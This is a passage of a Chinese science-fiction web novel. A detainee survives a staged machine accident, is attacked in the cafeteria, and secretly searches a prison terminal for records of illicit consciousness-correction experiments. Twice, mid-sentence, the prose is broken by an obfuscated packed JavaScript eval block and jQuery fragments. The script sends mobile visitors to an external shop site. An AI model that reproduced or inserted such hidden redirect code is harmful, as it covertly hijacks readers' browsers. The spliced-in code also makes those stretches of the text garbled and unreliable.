“由于027号设备故障导致损耗,今日全组个人算力指标上浮 5%。” 官方广播声依旧温润、优雅,仿佛只是播报一场微不足道的停电。 卢维就在附近。她几乎是本能地跳下圆盘,将几个受害的犯人从倾覆的圆盘下拉出来平放在地上,开始给其中一个做急救措施。 王敏拎着电磁棍冲过来,第一眼却没看向27号,而是死死盯着14号位。 见连映完好无损地站着,她神情一愕,眼珠急转,这才看到27号位的混乱。 她嘴角不自觉地抽动一下,拍了拍手里的电棍,大声喊道: “所有人,不要乱跑,待在你们自己的位置,继续干活!!重复一遍,待在你们自己的位置,不要看热闹,继续干活!!今天的损失你们得加班补回来!!” “我们只是嫌疑犯不是罪犯,凭什么要为设备故障承担责任!?” “就是,这也太危险了,你们不是应该先撤离我们排除问题吗?” 围观的嫌疑犯们纷纷不满地叫嚷起来。 王敏扬了扬手里的电棍,不耐烦地说:“谁有意见就扣分!你,减两分,今天白干!想走可以现在就走,以后都不用来了!还有你,又是你这个杂种——” 她大踏步走过去,用电棍狠狠敲了一下正在救人的卢维,虽然没打开通电开关,但她使的力气显然不小,打得对方一个闷哼,蹲在原地微微颤抖起来,半天没动静。 “!!!”连映倒抽了口气,没想到她会直接上手就打——卢维毕竟是在救人。 不是说这里是联邦“待遇最好的羁押所之一”吗,怎么像压榨人的黑工厂一样?还是说,因为这里这些嫌疑犯大多没有未来,所以监管者无所畏惧? 王敏踩着厚重的皮靴走过去,猛地一脚踢在卢维那条还没来得及收回的义肢上:“回到你自己的位置上,继续干活!这几个人轮不到你管!” 见对方蜷缩着身子没有出声,她不爽地呲了呲自己的乱牙,表情蛮横地道王敏俯下身,乱牙几乎顶到了卢维的鼻尖:“你以为你还是那个海外战场的英雄吗?杀了自己的战友,野蛮的杂种,活该!我这是对天行道!” 看到卢维眼中升起怒火,表情隐忍,她才满意地笑了笑,离开了。 卢维半跪在原地,深吸了口气,沉默地站起身,身体轻微晃动,像是一座快要崩塌的山。 刚才她救下的那个新人已经被拖走了,地上留下星星点点的暗红。 她回到自己的位置,对上连映关心的目光,摇了摇头。 刚才王敏的棍子打在她背上时,她清楚听见了自己的钢铁脊椎发出了令人不安的嘎吱声。 但,就这样吧,无所谓了。她做这些也不是为了别人,只不过是习惯使然。 那边被王敏告诫的犯人见此情景立刻变了脸色,陪着笑道:“王管教,我没有那个意思,呵呵,我现在就继续干活。” 说着,她又在圆盘上重新动起来,其他抗议的人也纷纷噤了声,车间里很快恢复了平静。 连映站在自己的圆盘上,看到外面进来几个工作人员开始收拾地面的残局,抓紧时间再次看向发生事故的27号圆盘。 视野里,那根断裂的中心轴断面平滑得诡异,支撑处还残留着一圈高温融化的焦痕,好像设备忽然疯狂过载,转速突破了极限。 这是一场针对性的谋杀,针对的是那个原本属于她的27号位置。 连映看着底下满脸凶相的王敏和破麻袋般被拖走的几个嫌疑犯,心里充满寒意和后怕:如果今天她没有换位置,那个被撞碎在墙上的,很可能就是她自己。 什么人这么迫不及待地致她于死地?易楚生案的幕后黑手吗? 今天负责监管现场的乱牙女管教王敏又对此知道多少,参与了多少?如果她对此不知情,为什么当时会第一时间看向自己,神情可疑?如果她对此知情,又知道自己换了位置,为什么出事的依然是她原本被安排的27号而不是现在的14号? 还是说,这一切都是巧合? 还有—— 她将目光投向不远处另一个圆盘上李棠挺直默然的背影,她正背对着这边站着,专心对付脚下的圆盘,好像对眼前发生的一切漠不关心。 李棠,又对此知道多少? 回到监室,气氛沉重得像灌了铅。 克洛伊一进门就瘫倒在床上,不停地拍打着自己的胸口,嘴里骂骂咧咧:“真晦气,混着臭氧味的血腥味实在太刺激了,我感觉我连每月一次都要有阴影了……棠姐,你是不是知道了什么,才给连映换位置的?” 连映和屋里的其他人也想知道这个问题,她们一同看向李棠。 李棠正站在洗脸池前,一下一下缓慢地洗着手。她没有回答克洛伊的问题,甚至没有回头。 连映坐在床沿,看着李棠看似普通却挺拔坦然的姿态,心中无比清晰地意识到,这位大概曾经在外面呼风唤雨的女人,在这座精密、冷酷的暴力机器里给她的那点优待和权限,看似微不足道,实则重达千钧,难怪克洛伊对她那么讨好,王红这样的高武力刺头也在她面前乖乖就范。 王红正靠在墙角,摆弄着她手臂上的红蝎纹身,瞟了一眼坐在卢维身边查看她背部状况的连映,不屑地撇了撇嘴角,又迅速收回目光。 “李棠,”她突然开口,打破了屋里短暂的寂静,也吸引了众人的目光,“有些人好像不太想让这屋里的人活太久。” 李棠洗手的动作顿了顿,却什么都没说。 王红等了几秒钟,见她没接话的意思,无趣地嗤了一声,回到自己的床铺。 连映抬起头,正好撞见李棠从镜子里投射过来的目光,居高临下,带着审视。 连映垂下眼帘,感受着下午磨炼出的那一丝变得坚韧的精神力,打开系统界面,看着界面上显示的那个精神防护机制的构筑进度已经来到了20%,心中权衡:是继续这个劳动,还是询问李棠或管教能否更换劳动项目? 关键问题是,即使换活儿干,也没法保证幕后黑手不会在新活儿里对她下死手。 可如果下次他们还是使用同样的招数……不,不太可能,这种招式,用了一次应该不会有第二次,重复的意外就不能算意外了。他们还不至于这么蠢。 还是维持现状吧,只是,从今以后,她心中必须万分警惕。 连映想清楚接下来应该怎么做,重新抬起头,对已经回到自己位置的李棠主动开口道: “棠姐,下午换位子的事,谢谢。” 连映的声音平稳,听不出劫后余生的惊惶,反而相当平静,“不管怎么说,这次是你救了我一命,我欠你一个人情。” 她不知道李棠对这事是不是事先知悉,但是看乱牙女管教王敏的反应,事情似乎没这么简单。但是,李棠这个人情她必须先开口,如果等对方先开口,主动权落到对方手里,她就会陷入被动。 李棠洗手的动作一顿,侧过头,镜子里的眼神像是一把手术刀,慢条斯理地划开连映的伪装:“既然你也承认欠了我人情,那今晚——” “今晚不行。”连映直接打断了她,语气坚硬,“我现在满脑子都是臭氧和那种恶心的合成音乐,精神力快透支到临界点了。如果你现在让我去干什么,那是让我去送死,也是在浪费你这张好不容易保下来的牌。” 李棠盯着她,半晌,嘴角勾起一个毫无温度的弧度:“你倒是很清楚自己的身价。” “一个活着的能帮监室分担压力的人,总比一个废掉的嫌疑犯更有用。” 连映关掉水龙头,直视镜子里的李棠,“这笔债我认。但还债的时机,得由我这个债务人来选。只有这样,我给你的回报才最划算,不是吗?” 李棠抽出纸巾,仔细擦干指缝,最后深意地看了连映一眼:“好。希望你的利息,对得起我交出去的筹码。” 这算是一场短暂的休战,连映成功挡住了李棠的第一波试探。她坐回床沿,看向缩在角落、脸色灰白的卢维。 “卢维,还好吗?”连映走到她身旁,“还是去医务室一趟吧?” 卢维抬头,天生纤长 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“啧啧,真会说话。”克洛伊冷哼一声,转而又开始抱怨起下午的劳作,“依我看,还是095犯的事儿太大了,变成了别人的眼中钉肉中刺呢,不过,看她这病秧秧的样儿,不如让她去做体力活,锻炼一下身体,圆盘活儿这种好事就不劳烦她了,怎么样棠姐?” “好事?”连映转头看着克洛伊,想起下午干活时她的与众不同,不动声色地问:“你觉得,这个工作很轻松愉快吗?” “难道不是吗?”克洛伊拔高了语调,“虽然有点无聊,音乐品味也差,但是确实很轻松啊!只有你老在那问东问西,好像怎么委屈了你似的。我告诉你,即使这不是非人不可的活儿,我们也得干。机器人没灵魂!再说了,咱们是免费的耗材,那些仿生人还得定期保养和交保险,要是你是军方高层,你选谁?” 她也太激动了吧。连映看着克洛伊眼里喷薄而出的愤怒,连映意识到自己似乎戳中了她的痛处。 “选谁都不重要。”连映淡淡地说,“重要的是,哪怕是耗材,我也要当个硬钉子。” “那我就不奇怪你为什么落到今天这个地步了。”克洛伊也收敛表情,语气又变回了那种阴阳怪气的圆柔:“算了,不和你说了,我要赶紧休息一下,一会吃完饭以后还可以去大厅看电视,周末就是开心呐~” 她开心就好,连映没再接话。 晚饭时间,女性监区活动大厅。 连映排在入场前的扫描队列中,看着前面的囚犯一个个踩进安检红圈,顺从地、机械地微微扬起下巴。那种姿势将脆弱的咽喉完全暴露在斜上方的扫描仪下,颈环紧紧勒住气管。连映轮到位置时,也不得不迫使自己抬头,红色的激光像冰冷的刀锋扫过她的喉咙,像一头待宰的羔羊。 连映在引颈羔羊的队伍里过了安检,进入大厅,一股混杂着浓郁工业香精的饭菜味扑面而来。 连映端着自己那碗惨白灯光下显得更像工业黏合剂的营养糊刚坐下,周围的空气就凝固了。 一队穿着暗褐色劳作服的女人停在了她们桌旁。 领头的女人约莫四十岁,露出的领口皮肤呈现出一种不正常的、脱落后的红斑。她走过连映身边时,右手因为长期的电磁辐射干扰而产生了一种极高频率的微颤,餐盘里的勺子磕碰得叮当响。 “哟,步进组的大小姐们。” 那女囚停住脚,眼神落在连映那双几乎没什么伤痕的手上,又落到李棠脸上,嗓音像是被石子磨过: “听说你们那边下午出事了,害死了一个人?这样吧,如果你们C9的人一块和我们道个歉,我们就暂时放你们一马。” 连映和李棠还没说话,克洛伊先沉不住气了,猛地把勺子拍在桌上,柳眉倒竖: “关你们什么事啊,又不是你们屋的人?哦,我知道了,是羡慕我们干所里最好的活儿?羡慕的话,就去求王管教把你这身烂皮换了,看看圆盘转起来的时候,你那双抖成筛子的手能不能按住传感器。别在这儿像只臭虫一样晃,倒我胃口。” “你说什么!?”几个女犯人忍不住地扬起拳头,却被领头的女人按住。 但她似乎也没有忍耐的打算,而是—— “砰!” 一只盛满灰色糊糊的餐盘被狠狠砸在连映面前,飞溅的液体甚至溅到了李棠那双干净的手背上。 “敬酒不吃吃罚酒!” 领头的红斑女人攥着一截磨得尖锐的电路板直直捅过来,却不是冲着刚才出演嘲讽的克洛伊,而是她旁边的连映。 24.迁怒 连映的精神力通过一下午的锻炼凝实些许,感知也更清晰了些,早在女人靠近时就感知到对方来意不善,一直紧紧盯着对方的动作。 因此,女人刚一发难,她便一个侧身躲过了对方的攻击,嗓音清晰地问:“我今天刚到羁押所,你是不是找错人了?” “找的就是你!” 看连映居然将自己的动作轻易躲过还一脸无辜,女人似乎怒气更甚,死死盯着连映,通红的双眼里熊熊燃烧着一股愤恨的疯狂:“下午27号位死的那个是我的老战友。我们一起在边境捡过命,结果回了联邦,没死在战场上,倒死在你这个扫把星换下来的圆盘里了。” 也一起犯事被抓进来了吗? 连映心想,没说出来激化矛盾,却见对方挥舞锐利的电路板又一次刺了过来。 连映瞳孔微缩,凭借以前学过的一点格斗底子,本能地侧头闪躲,同时反射性地伸手格挡冯姐的腕部。 然而,手掌和对方手臂相撞的一瞬间,她心里咯噔一下:力量悬殊太大了。 这女人的手臂I看似和常人无异,实则坚硬无比,大概是仿生手臂,所蕴含的力道和坚硬程度非人类能及,连映血肉之躯的格挡在那股冲击力面前,就像螳臂当车。 “砰!” 预想中的剧痛没有传来。 两只手臂同时伸了出来,一只是袖子挽起露出红蝎纹身的机械手臂,另一只则是覆盖着囚服的粗壮手臂,两只手同时动作,生生撞开了女人的机械臂。 下一秒,王红猛地站了起来,伸手攥住女人的手掌,眼中燥气升腾:不耐烦道: “冯丽,你踏马发疯别在老娘吃饭的时候。” 与此同时,一直像尊石雕般的卢维也动了。她表情依然淡淡,只是不知何时已经绕到了冯姐侧后方,并指如刀,狠狠戳进她颈侧。冯姐浑身一软,手一松,手中电路板咔嚓一声落了地。 她的手臂不是原装的,但脖子依然是血肉长的。 冯姐被两人死死钉在原地,气得浑身发抖,眼神里由于痛苦和仇恨而布满血丝:“王红!卢维!你们护着这个扫把星?她害死了老张!要不是她换位置,死的就是她!” 连映稳住身形,尽管心跳快得要撞破胸膛,脸上却强撑着那副惯常的冷静。她没有后退,反而向前半步,迫使自己直视冯姐那双充满恨意的眼睛。 “我也很难过。”连映开口了,声音不大,却因为极度的冷静而显得很有分量,“老张死在那个位置上,是个悲剧,但那是一场意外。我今天第一天来,身体不舒服,李棠给我换到14号位只是因为那里靠近通风口,能让我这个快死的人缓口气。” 连映认真看着她的眼睛道:“如果人是我害的,我愿意向你道歉。但事实是,我同样是那个事故的受害者,如果我今天死在那,甚至没人会替我讨回公道。” “意外?谁信?说得倒轻巧!”冯丽咬牙切齿地道,“怎么你不来什么事也没有,你一换位置就有事了?” “如果他们真的是冲着我来的,为什么出事的不是我?” 连映指了指不远处似乎已经注意到这边的动静、正快步往这边走的管教,声音降得极低。 “你不该在这儿跟我拼命。在这里闹事,除了让你自己进禁闭室,没有任何意义。如果你真想为你战友要个说法,你应该去问官方,为什么那台破烂机器会突然过载。在这个地方,杀一个和你一样的‘受害者’,只会让真正的凶手躲在后面偷笑。” “问他们?你是想让我死?” 冯丽面部表情僵硬片刻后又重新燃烧起来,咬着牙恶狠狠地说。 她心里知道连映这番话不是完全没道理,然而,如果真如她所说,她胸中熊熊燃烧的长久的怨愤却无处诉说。她就像一个肚子里堆满白热炭火的炉子,如果不赶紧凿开一个风口,她就要爆炸了。 她以为,这个看起来苍白瘦弱的女嫌疑犯是最佳的出口,她所有的怒火都可以对着她喷涌而出,把她烧成灰烬,现在看来,她却也是一堵墙,看起来摇摇欲坠,却没那么好凿开。 可是,如果不找她,还能找谁呢? 不,就是她害的,就是她,就是她—— 想到这里,她在王红和卢维手下拼命挣扎起来,把餐桌撞得砰砰响。 大厅的人此时都在看这边的热闹,兴奋的交头接耳传入连映耳中: “打起来了打起来了!” “谁?51和——”说话者倒抽了口凉气,“C09那两个!?她疯了!?” “她不是和下午死的那个关系好吗,要不然……” 另一个了然地窃笑道:“哦~那一对,也难怪了。不过,那个新来的也不简单啊,刚来就有人护着……” 话中之意懂的都懂,连映心中垂下眼眸,再也听不下去了,而是转头看向冯丽和她身后的两个人,刚想说什么,忽听旁边走道上传来呵斥声: “那边干什么呢?老实点!” 是两名负责维持秩序的管教赶了过来。她们手里握着漆黑的电磁棍,指尖搭在开关上,电流滋滋的声音在嘈杂的大厅里也分外清晰,直刺耳膜。 其中一名管教用棍子指了指冯丽和压着冯丽的王红和卢维,语气严厉:“你们两个干什么呢?把她放开!C51在,地上的武器哪里来的?偷的?想去禁闭室清醒几天?” 来自官方的绝对的权力、地位和武力威慑,像一盆冷水兜头泼下,冯丽被身后二人松开,但此时她也不敢再蹦跶,只是垂着头,再也没有了刚才疯狂的劲头。 两个管教把她铐起来让一旁的机械警卫拉走,临走前警告般地对冯丽和四周围观的其他犯人道:“冯丽,关一周禁闭,这周整个C05监室工作照旧,积分全扣,夜间算力抽取增加10%!你们几个,先记过一次,今天积分扣掉,不要再犯!其他人,赶紧回到自己的座位上!” 冯丽看了看自己微微冒烟的机械臂关节,又看向一脸死寂的卢维和满脸凶相的王红,不甘心地吐了口气,剜了连映一眼,像是要用眼神在她脸上剐下一块肉来。 今天是她太冲动了,没想那么多就上了,还损失了一个秘密武器。 “都散了吧。”一边的李棠终于开口了,自始至终她连头都没抬,只是慢条斯理地拨动着碗里的糊糊。 “走!” 冯丽的几个手下和周围围观的犯人像听到了什么号令,顿时如鸟兽散。 * 晚餐前的插曲过后,连映端着那碗散发着化工甜味的合成糊糊,坐在卢维对面。卢维沉默地喝着,每一个吞咽动作都显得异常艰难,下午王敏那一棍子显然造成了某种内伤。 连映关心地问了一句,卢维不在意地摇摇头,示意没事,两个人的互动被一边的红蝎又一次看在眼里,轻轻哼了一声,撇开头去。 大厅上方的巨大全息屏幕闪烁了一下,切换到了暮城晚间新闻: “……今日凌晨,暮城B区某公司的地下垃圾回收场发生严重火灾,疑似有外人闯入,具体状况尚在调查中……” 屏幕上正在播报每日十九点钟的暮城特区新闻: “……今日凌晨,暮城B区某公司的地下垃圾回收场发生了严重火灾,疑似有外人闯入,根据现场DNA检测结果显示,闯入者疑似C区某帮派成员,具体状况尚在调查中……” 画面中,焦黑的承重梁斜斜地插在废墟里。镜头扫过一片被烈火熏得剥落的墙体,那个不闭合的圆环标志在残砖碎瓦间一闪而过。 连映握着勺子的手猛地僵住,失去了最后的侥幸和自欺欺人,因为画面中一闪而过的一些场景,与连映梦中“附身”夏雨的经历中的场景完全吻合。 那一切显然不是模拟测试,不是梦,也不是幻觉。 或者说,其实当在现实中也能起作用的超能力起作用时,她就该承认这一点,但她一直觉得,之前发生的一切都能勉强是能用第六感、观察力、幻觉等等诸如此类的理由来解释。 但如今,新闻画面是如此真实,如此吻合,真实到令她难以在那片被烈火吞噬的废墟下,真的躺着一具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215700|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她和另一个人杀掉的曾经是人的怪物的尸体。 但,当时她们并没有引发什么严重火灾,而且她们离开时创联的人也已经赶到了,怎么会闹这么大? 除非,创联公司选择了最简单粗暴的清理方式——将尸体和现场一起烧掉。 想到那具被她完全吸收的膨胀着红色菌丝的尸体,刚吞下去的充满着人工香精的营养糊忽然在她胃里翻腾起来,一股强烈的反胃感涌上喉咙。 连映食不知味地放下碗,心里发冷。 如果那些是真的,那系统发布的那个“寻找阿撒兹勒”的隐藏任务的任务奖励,记忆碎片,说不定真的就是案发当天她失去的那段记忆。 不行,她必须尽快行动,把这个隐藏任务完成,时间拖得越长,她的处境就越危险。 现在,敌在明她在暗,说不定她失去的记忆里就有杀害易楚生的真凶。 “苏姨,”连映侧过头,声音压得很低,“我想去阅览室借本心理辅导的书,下午那事……我有点闭不上眼。” 之所以问苏姨,是因为比起李棠的深不可测,苏姨看起来更像是个能通融的长辈。 苏姨正忙着撕咬手里那块发干的纤维饼,闻言用那双浑浊的眼珠往李棠的方向撇了撇,嘴角含着一抹意味深长的笑。 李棠此时正优雅地站起身,她没看任何人,只是对巡逻过来的管教微微颔首。 那管教像是收到了某种暗号,竟然主动侧过身,甚至还贴心地帮李棠和跟在后面的苏姨挡开了拥挤的囚犯。两人就这样在众目睽睽之下,顺理成章地从大厅出入口走了出去,消失在连映的视线里。 连映心头一跳,学着李棠的样子也站了起来,试图跟在那两人身后。 “坐下!” 随着这声尖锐的喝止,黑沉沉的电磁棍并没有只是晃动,而是带着一股狠劲直接顶在了连映的锁骨处。 滋—— 电极尖端发出的微弱电流隔着单薄的囚服刺痛了皮肤,那种生理性的麻木感让连映脚下一软,重重地跌回了冷硬的金属凳上。 年轻管教小刘居高临下地盯着她,冷冰冰地说:“编号095,谁准你离座的?” “我想去阅览室找点心理辅导的书。”连映忍着锁骨处的钝痛,强迫自己平视对方,“刚才李棠她们……” “她们是二级优待的长期羁押人员,有额外的通行权。”小刘嗤笑一声,手中的电磁棍不仅没有收回,反而再次下压,冰冷的金属头抵住了连映的下颚,强迫她微微仰头。 又是这个动作。那个像羊一样等待被抹脖子的动作。 “你这种刚进来的高危嫌疑人,连在大厅看电视的资格都是上面施舍的。” 小刘压低声音,语气冷漠,“在这里,等级就是规矩。老老实实在你自己的坑位里待着,看完新闻就滚回监室。刚才引起骚乱没追究你已经是网开一面了,再敢往前试探一下,你也去禁闭室!” 周围传来了几声不怀好意的哄笑,尤其是刚才吃瘪的废料组,她们正用一种看你能得意到几时的眼神,幸灾乐祸地看着连映。 连映脊背挺直,手指紧紧蜷缩起来。 开口前她就知道自己可能会被拒绝,但她依然想要试一试。她明白羁押所有羁押所的规矩,这里本就没有自由可言,也理解管教要维持秩序。 但是,她看着李棠和苏姨消失的方向,心中忽然无比清晰地意识到,即使是在这个看似规矩森严的地方,也并不存在真正的平等。现在的她就像一粒被丢进精密齿轮里的细沙,除了被碾碎,毫无反抗之力。 除非,她也成为这个系统的一部分。或者,掌控它。 那一瞬间,连映原本因为刚刚的新闻而狂跳的心脏,在屈辱中竟然诡异地冷却了下来。 她不想再这样仰着头等人施舍。 连映抿了抿嘴,在黑色的电磁棒下顺服地低下头说:“我知道了。” 正要坐下,身后传来一个温和斯文的中年女音。 “我带她去吧,小刘。” 25.图书室惊魂 “我带她去吧,小刘。” 连映回过头,看到一张略有些眼熟的脸。 这是个身着囚服的中年女人,黑发黑瞳,眉眼平淡,气质斯文,外面套着一件带着点消毒水味的清洁马甲,语速平稳,淡定的嗓音在人员喧嚷的大厅里荡开一种奇特的寂静感。 正握着电磁棍的巡逻管教小刘转过头。在羁押所里,暮姨是个异类。 暮姨原名陈暮云,囚号C001,住的是单人间,也是军方人,因为经济类罪名进来的。虽然名义上只是个由于案情复杂长期被关押在此的老嫌疑犯,但据说她的背景很不简单,一直待在这里面另有原因,比C092号李棠还要神秘,连所长都对她相当客气。 其中具体缘由,小刘这种小虾米不得而知,她唯一知道的是,大家都对暮姨很客气。 然而,无论真相为何,暮姨个性温和,情绪稳定,沉稳负责,管教们大多都很信任她,赋予了她比普通囚犯多得多的权限。 “暮姨,这么晚了,这不合规矩。”小刘犹疑道,目光从暮姨身上划过,再次停留在连映那张因精神过载而略显苍白的脸上。 “她是军方特勤局挂了号的重点监视对象,C095号。”暮姨的语气自然而温和,“医务室孙医师说她的情绪波动指数濒临临界值,为了不发生和昨夜审讯相同的状况,要我带她医务室一趟,顺便去阅览室借几本书,放松心情。怕你们顾虑,他还让我带着机械警卫一块来了,有它看着,不可能出岔子。” 说着,她微微侧身,露出身后那台高大结实的机械警卫。 这个机械警卫看起来格外有压迫感,人形机体浑身覆盖深灰色的防暴装甲和灵活度极高的人工肌肉纤维,看起来骇人之中带着点诡异。它没有类人的五官,头部只是一个冷酷的流线型金属壳,正中央是黑洞洞的复合电子眼,正一亮一亮地闪着红光,表明它正在全程监控这边发生的一切。 年轻管教愣了一下,看了看这台高科技的重型机械警卫,眼前微微一亮,很感兴趣地说:“这是今天新投入使用的?昨天还没有呢。” 她知道这是联合军工新出的机械警卫,没想到羁押所这么快就用上了。 “是。”暮姨微微点了点头,没和她继续深聊机器人,表情平静道: “通讯器就在你腰上,你可以现在向医务室孙医师核实。不过,考虑到明早C095还要接受审讯,我觉得这事儿还是不能耽搁。出了事情,孙医师担着,你我都负不了责任。” 听到“孙医师担着”这几个字,管教没再犹豫:“行吧,快去快回。” 她痛快地一挥手,侧身让开了通道。 暮姨微微颔首,用眼神示意连映跟上。那台机械警卫看似沉重,脚步却轻盈而灵活,静谧无声地紧跟在两人身后。 连映有心想问暮姨一些问题,但见机械警卫一直紧随不舍,便一声不吭地随暮姨来到标注着图书室的金属门前。 机械警卫的合金足踏停在门外的红色警戒线边缘,头部的十字红光静静扫视着走廊两端,进入了定点驻守模式。它太庞大,且装配了重火力,按程序设定不会进入这种充满易燃纸质档案的狭窄封闭房间。 “站进去。”暮姨指了指门前那道血红色的感应区。 连映踩入足印区,极其缓慢地再次做出那个动作——扬起下巴。 红色的激光扫描线从前额斜射而下,扫过她脆弱的颈动脉。这种将喉咙彻底暴露在机器面前的姿态,让她感到一种生理性的不安。她垂下眼帘,控制自己的面部肌肉,尽力不在监控前流露出抗拒的表情。 【感应完成。编号095,权限确认:临时协理。】 门悄无声息地划开,在两人走进房间后又静静闭合,将机械警卫那冰冷的红光挡在门外。 离开了那个重型机器人的视线,连映微微放松了些,抬眼打量了一圈图书室的环境。 阅览室内部并没有想象中闪烁的电子屏幕,而是一排排顶到天花板的密集实体书架和防潮档案柜。空气里弥漫着一股陈旧纸张和防腐剂的干涩味道。 天花板的角落里,一个挂满灰尘的红外监控探头正缓慢地转动着。 暮姨没有立刻说话,而是熟练地带着连映穿过走道,拐进两排最高耸的防潮柜中间。这里刚好处于探头镜头的物理死角,而头顶那台一直发出“嗡嗡”低频轰鸣的老旧除湿机,完美地掩盖了声波的传递。 直到站定在这个死角里,连映紧绷的神经才稍微松了一丝,压低声音问道:“孙医师真的让你来找我?” “他说昨天欠了你一个保命的人情,交代我稍微帮忙盯着你点。” 暮姨转过身,随手从书架上抽出一本厚重的心理学实体书。 “至于来阅览室,是我编的借口。只要待在这个死角,外面的警卫听不见,头顶的监控也只能拍到我们在找书。” 连映心中一动,终于想起自己为什么对这个暮姨,那天她在医务室见过一次,好像确实对这里非常熟悉,她做这些事情时异常镇定,似乎并不害怕谎言戳穿的后果,。 就在连映的目光随着暮姨的手扫过柜顶时,她的瞳孔骤然收缩。 在顶层几本积灰的旧书阴影里,一团极其不显眼的黑色斑块正静静地贴在柜板上。 那是她在医务室见过的那种东西——它没有固定的边缘,正以极其微小的幅度蛰伏在阴影里。 和之前一样,连映的精神力依旧没察觉任何异样。 靠,这东西到底是真的,还是她的幻觉啊? 连映浑身汗毛倒竖,心跳加速,深吸一口气,本能地想要后退,却撞上了一个温热的肩膀。 “不舒服吗?看你一直看着那边发呆。这里面的空气除湿系统坏了很久,灰尘大,忍一忍,等挑好你想看的书我们就出去。” 连映指了指黑斑的方向:“暮姨,你有没有看到什么——” “什么?”暮姨顺着她的手看了一眼,有些疑惑地问。 “就是一个黑色的——” 连映一边说一边回头,却见墙上刚刚黑斑停留的地方此刻空空如也,什么都没有。 连映哑口无言,顿时泄了气:“……没什么,是我看错了。” “我知道你在担心什么,你们这一代没怎么看过纸质书吧?” 暮姨对她招了招手,接着朝另一个方向走去:“不用担心,这里有终端能帮你检索书目,跟我来。” 连映跟在她身后,一直走到房间另一头一排高大书架后面的监控死角处,一台甚至还在使用老式物理键盘的局域网物资检索终端前。 “时间紧张,告诉我,你想看什么书?我帮你查,节省时间。”暮姨低头操作着,从袖口摸出一张旧式磁卡刷开底层权限。 连映愣住了。暮姨敲击回车键时,习惯性地用无名指的指节轻轻扣两下空格键。 这一个微小的动作,让连映的心脏猛地收紧。在这昏暗的环境里,暮姨说话的方式和操纵老式电脑的身影像是触发了她心底的某个按钮,让她眼底微微有些发热,心底泛起一种既怀念、又想落泪的熟悉感。 不,现在不是发散情绪的时候。 连映压下心头翻滚的思绪,试探性地开口道:“你听说过,阿撒兹勒这个词吗?” “……” 暮姨敲打键盘的动作一顿,回头看向连映,神情不明:“……阿撒兹勒?” 连映心里咯噔一下。 她的反应怎么有点奇怪?这个词有什么问题吗? 连映眨了眨眼,轻轻绽开一个接待客人时使用的令人安心的标准微笑:“没有,我只是听说过这是一种传说中的恶魔的名字,想知道这里有没有什么相关的书。” “……书?”暮姨轻轻重复了一遍,深邃的黑眼珠一错不错地盯着她,慢慢地道:“你是说,你想看《圣经》?” ……啊? 连映马上反应过来,立刻点了点头:“原来这是《圣经》里的?我都不知道,您懂得真多。我能借一本吗?” “可以。” “在哪里呢?我不太知道,你能帮我找找吗?”连映刻意语气为难地说。 暮姨看着她不好意思的神情,点点头:“那我去帮你找,你再看看别的,这里一次只能借一本,得好好挑一挑。” 暮姨起身去给她找书了。 “谢谢暮姨。”连映赶紧道谢,待她的身影离开视线便赶紧扑到终端前,十分庆幸小时候偷偷玩过母亲的老式电脑,现在才不至于连基础操作都搞不明白。 刚才暮姨已经登入了系统,她说不定能在里面查到点和那个秦阒相关的信息。 虽然这里不可能有联邦机密,但至少会有羁押所内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222496|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一些非机密信息,比如这里——本地医疗物资与设备出入库台账。 连映的手指在屏幕上点了点,屏幕慢吞吞地闪烁几下,跳出一排排枯燥的数据列表。 连映的目光快速扫过,很快发现了极其违和的地方。日志显示,底层隔离区申请调拨的根本不是常规的精神镇静设备,而是一种名为MCS意识矫正系统的高压设备。 更诡异的是设备的维保记录。这台MCS系统的后台维护权限,并不属于羁押所医务室,而是赫然挂着一个眼熟的企业logo:创联科技。 羁押所的犯人,在使用创联的设备进行高强度的意识矫正? 连映迅速点开MCS系统的每日运行参数。数据折线图显示,这台设备每天都会出现一次恐怖的峰值。那种波形和功率,看起来极不稳定,看起来不像是温和的矫正,倒像是在进行某种极限的压榨。 而在峰值记录的备注栏里,出现频率最高的代号是:K081。 K081,她好像在什么地方看到过这个代号。 是什么地方呢? 连映一边想,一边看着密密麻麻的记录,手指微微颤抖起来。 即使是在意识发达、脑芯人脑一个的现在,对人类的意识进行“矫正”或“探索”依然是一个很敏感的领域,高强度的人脑实验依然是违法的。 除非他们是在一个关押着大量军方逮捕的嫌疑犯以及部分像秦阒那样状况不明的个体的地方,利用小白鼠做实验,否则,这些数据和密密麻麻的日期和不同的备注代号,怎么看都不太妙。 更何况,意识矫正设备,看起来无论如何都不像是动物实验用的设备。 连映心脏跳得飞快,伸手点击那个K081的代号,屏幕上却弹出一个警告框: 【权限不足。访问拒绝。】 就在这时。 “哒。哒。哒。” 暮姨轻轻的脚步声极近地从书架那头响起。 “找好书了吗?” 她的声音越来越近。 糟糕,来不及了!! 连映心脏疯狂跳动,抖着手匆匆关闭终端界面,佯装无事地转过身去,刚想对暮姨重新摆上一个标准的待客用微笑面具,脑海深处突然炸开一道极其尖锐的警告声,伴随一个深红色警报弹窗在眼前强行弹出: 【警告!检测到锚点X-07(夏雨)情绪阈值突破临界点!】 【接收到强烈的单向共鸣呼叫!意识场强制牵引中……是否回应强制意识链接? 【是/否】 “否!” 连映不假思索地说。 开玩笑,这么紧急的时刻,她才不要忽然失去意识呢! 